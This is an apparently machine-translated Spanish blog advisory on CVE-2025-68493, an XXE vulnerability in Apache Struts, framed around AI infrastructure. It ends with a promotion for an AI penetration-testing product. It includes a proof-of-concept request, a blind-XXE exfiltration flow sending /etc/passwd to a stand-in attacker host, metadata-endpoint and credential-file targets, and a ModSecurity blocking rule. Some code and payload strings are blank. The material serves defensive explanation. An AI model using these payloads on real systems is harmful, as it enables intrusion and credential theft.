En el panorama en rápida evolución de la IA Generativa, los ingenieros de seguridad a menudo se centran en las amenazas específicas de los modelos: inyección de prompts, piratería informática o envenenamiento de datos. Sin embargo, la publicación de CVE-2025-68493 el 11 de enero de 2026, sirve de brutal recordatorio: la infraestructura heredada que envuelve sus modelos de vanguardia suele ser el eslabón más débil.
Este artículo proporciona una autopsia técnica de la vulnerabilidad crítica encontrada en el Apache Struts xwork-core componente. Analizaremos la causa raíz a nivel de código, exploraremos su potencial devastador en los pipelines de MLOps y discutiremos estrategias de remediación que van desde el parcheo inmediato hasta la defensa automatizada impulsada por IA.

Anatomía técnica de CVE-2025-68493
Mientras que Apache Struts tiene una historia notoria con la ejecución remota de código (RCE) a través de la inyección de OGNL (re: Equifax), CVE-2025-68493 ataca un vector diferente: La lógica de análisis XML.
El ámbito de la vulnerabilidad
- Componente:
xwork-core(El marco de patrones de comandos subyacente a Struts 2). - Tipo de vulnerabilidad: Inyección de entidad externa XML (XXE) debido a [CWE-112] Falta de validación XML.
- Versiones afectadas: Apache Struts 2.0.0 - 6.1.0.
- Puntuación CVSS v3.1: 9,8 (Crítico).
Análisis de las causas
La vulnerabilidad se deriva de la XWorkConverter y su manejo de descriptores de configuración específicos. Cuando el framework procesa una petición HTTP con Content-Type: application/xmlse instanciará el analizador XML subyacente (a menudo Xerces, envuelto por Struts) para deserializar la carga útil.
En las versiones afectadas, el DomHelper no desactiva explícitamente el procesamiento DTD (Document Type Definition) y la resolución de entidades externas por defecto.
Una implementación segura requiere la configuración de indicadores específicos en la función DocumentBuilderFactory. La ausencia de estas banderas en CVE-2025-68493 crea la apertura:
Java
// PATRÓN DE CÓDIGO VULNERABLE (Conceptual) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Falta: dbf.setFeature("", true); // Falta: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // Punto de activación
Sin estos guardarraíles, un atacante puede definir entidades maliciosas en la cabecera DOCTYPE que el servidor se ve obligado a resolver.
Por qué es importante para la infraestructura de IA y MLOps
Te preguntarás: "Utilizamos Python/PyTorch para la inferencia. ¿Por qué importa una vulnerabilidad del framework Java?".
La realidad de la IA empresarial es la hibridez. Mientras que el modelo se ejecuta en un entorno Python en contenedores, la Capa de orquestación, Pasarela APIy Lagos de datos heredados para alimentar esos modelos se construyen con frecuencia sobre pilas Java maduras como Struts o Spring.
CVE-2025-68493 expone tres riesgos específicos para AI Systems:
1. Peso del modelo y exfiltración del conjunto de datos (LFI)
Un ataque XXE permite la Inclusión Local de Ficheros. Si su aplicación Struts tiene acceso de lectura al sistema de archivos (lo que ocurre a menudo en contenedores de usuarios no root), un atacante puede leer archivos de configuración.
- Objetivo:
/root/.huggingface/tokenocredenciales_aws. - Impacto: Los atacantes roban las credenciales necesarias para extraer sus puntos de control o conjuntos de datos privados de los buckets de S3.
2. SSRF contra servicios de metadatos (Cloud Jacking)
Este es el vector más crítico para la IA nativa en la nube. Al forzar al analizador XML a realizar peticiones HTTP, los atacantes pueden atacar el servicio de metadatos de instancia (IMDS).
- Objetivo de carga útil:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Impacto: Robo del rol IAM asociado a la instancia EC2. En los clústeres de IA, estos roles suelen tener amplios permisos para aprovisionar costosas instancias de GPU (instancias P4/P5), lo que conduce al secuestro de recursos para la minería de criptomonedas o la formación no autorizada.
3. Denegación de servicio (Ataque de los mil millones de risas)
Los servidores de inferencia de IA consumen muchos recursos. Un ataque recursivo de expansión de entidades ("Billion Laughs") enviado a través de CVE-2025-68493 puede agotar la memoria del servidor, provocando la caída del nodo de orquestación e interrumpiendo la disponibilidad del servicio de IA.
Simulación de vectores de ataque: Prueba de concepto
A continuación se muestra una recreación técnica de cómo un atacante explota esta vulnerabilidad.
Escenario: Una acción heredada de Struts se utiliza para analizar los perfiles de usuario antes de pasar los datos a un motor de recomendación.
Encabezado de la solicitud:
HTTP
POST /struts2-showcase/person/create.action HTTP/1.1 Host: vulnerable-ai-gateway.corp Content-Type: application/xml
Carga maliciosa (XXE ciego con exfiltración fuera de banda):
En muchas configuraciones modernas, la respuesta del servidor está desinfectada, lo que significa que no verá el contenido del archivo directamente en la respuesta HTTP (Blind XXE). Los atacantes utilizan entidades de parámetros para enviar datos a un servidor controlado.
XML
<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote; ]> John Doe &exfiltrado;
Contenido de eval.dtd alojado en el servidor atacante:
XML
<!ENTITY % eval ""> %eval;
Flujo de ejecución:
- El analizador sintáctico de Struts lee el XML principal.
- Obtiene el DTD externo de
atacante-c2.com. - Analiza la DTD externa, que le indica que lea
/etc/passwd. - Envía el contenido de
/etc/passwdal servidor del atacante como un parámetro URL.

Estrategia de detección y reparación
Mitigación inmediata (la fase de "detener la hemorragia")
Si no puede desplegar el parche inmediatamente, debe aplicar reglas WAF (Web Application Firewall) estrictas en su controlador de entrada.
Ejemplo de regla ModSecurity:
Apache
SecRule REQUEST_BODY "(?i)<!DOCTYPE" \\ "id:1001,phase:2,t:none,log,deny,status:403,msg:'Potential XML Injection Detected (CVE-2025-68493)'"
Nota: Este es un instrumento contundente. Bloquea todos los DTDs, lo que puede romper puntos finales SOAP legítimos. Pruébelo primero en la fase de pruebas.
La solución oficial
Actualizar a Apache Struts 6.1.1 o superior. El equipo de Apache ha parcheado xwork-core para ignorar las entidades externas por defecto. Verifique la actualización comprobando el núcleo struts2 JAR en su WEB-INF/lib o árbol de dependencias de Maven.
| Dependencia | Versión vulnerable | Versión parcheada |
|---|---|---|
núcleo struts2 | < 6.1.1 | 6.1.1+ |
xwork-core | < 6.1.1 | 6.1.1+ |
Ampliación de la seguridad: El papel de la IA en la validación de vulnerabilidades
En arquitecturas de microservicios complejas, la simple ejecución de un escáner de vulnerabilidades (como Nessus u OpenVAS) genera un ruido masivo. Los escáneres coinciden con los números de versión, pero a menudo fallan a la hora de validar si la vulnerabilidad específica configuración es explotable. Esto crea "fatiga de alerta" para los equipos de seguridad.
Aquí es donde el paradigma cambia de Exploración estática a Pruebas de penetración agénticas.
Explotación automatizada con Penligent
La seguridad moderna requiere herramientas que "piensen" como un atacante. Penligent (penligent.ai) representa la próxima generación de plataformas de pruebas de penetración automatizadas. A diferencia de los escáneres tradicionales que utilizan la coincidencia de expresiones regulares, Penligent utiliza agentes basados en LLM para comprender el contexto de la aplicación.
Cómo gestiona Penligent la CVE-2025-68493:
- Descubrimiento contextual: Penligent identifica el
Content-Type: application/xmlaunque no estén documentados o se oculten tras complejas rutas API. - Construcción inteligente de la carga útil: En lugar de rociar cargas útiles genéricas, el agente Penligent analiza el comportamiento de la aplicación. Si detecta una firma Struts, construye un PoC específico para CVE-2025-68493.
- Validación segura: El agente intenta desencadenar una interacción benigna (por ejemplo, una búsqueda DNS a través de XXE) en lugar de leer archivos sensibles, lo que demuestra la explotabilidad sin poner en riesgo la privacidad de los datos.
- Eliminación de falsos positivos: Al validar la ruta de ejecución, Penligent filtra el ruido. Si la biblioteca está presente pero el analizador XML está configurado de forma segura, Penligent lo marca como "Seguro", ahorrando a su equipo horas de investigación.
Para los equipos que gestionan cientos de servicios, la capacidad de decir "Penligent verificó 300 servicios, y sólo 2 son realmente explotables" es la diferencia entre un fin de semana caótico y un ciclo de parches gestionado.
Conclusión
CVE-2025-68493 no es sólo una línea más en un informe de vulnerabilidades; es una debilidad estructural en los cimientos de muchas plataformas empresariales de IA. La capacidad de pasar de un componente Java heredado a controlar los servicios de metadatos en la nube lo convierte en una amenaza de nivel 1.
Los ingenieros de seguridad deben ir más allá de la metodología de "parchear y rezar". Comprendiendo la mecánica de análisis XML de bajo nivel y aprovechando herramientas ofensivas basadas en IA como Penligent, podemos garantizar que nuestra infraestructura siga siendo tan resistente como los modelos que construimos.
El siguiente paso para usted:
Audite su SBOM (Software Bill of Materials) hoy mismo en busca de versiones de struts2-core inferiores a la 6.1.1. Si se encuentra, aísle el contenedor inmediatamente e inicie su protocolo de respuesta a incidentes.
Referencias:

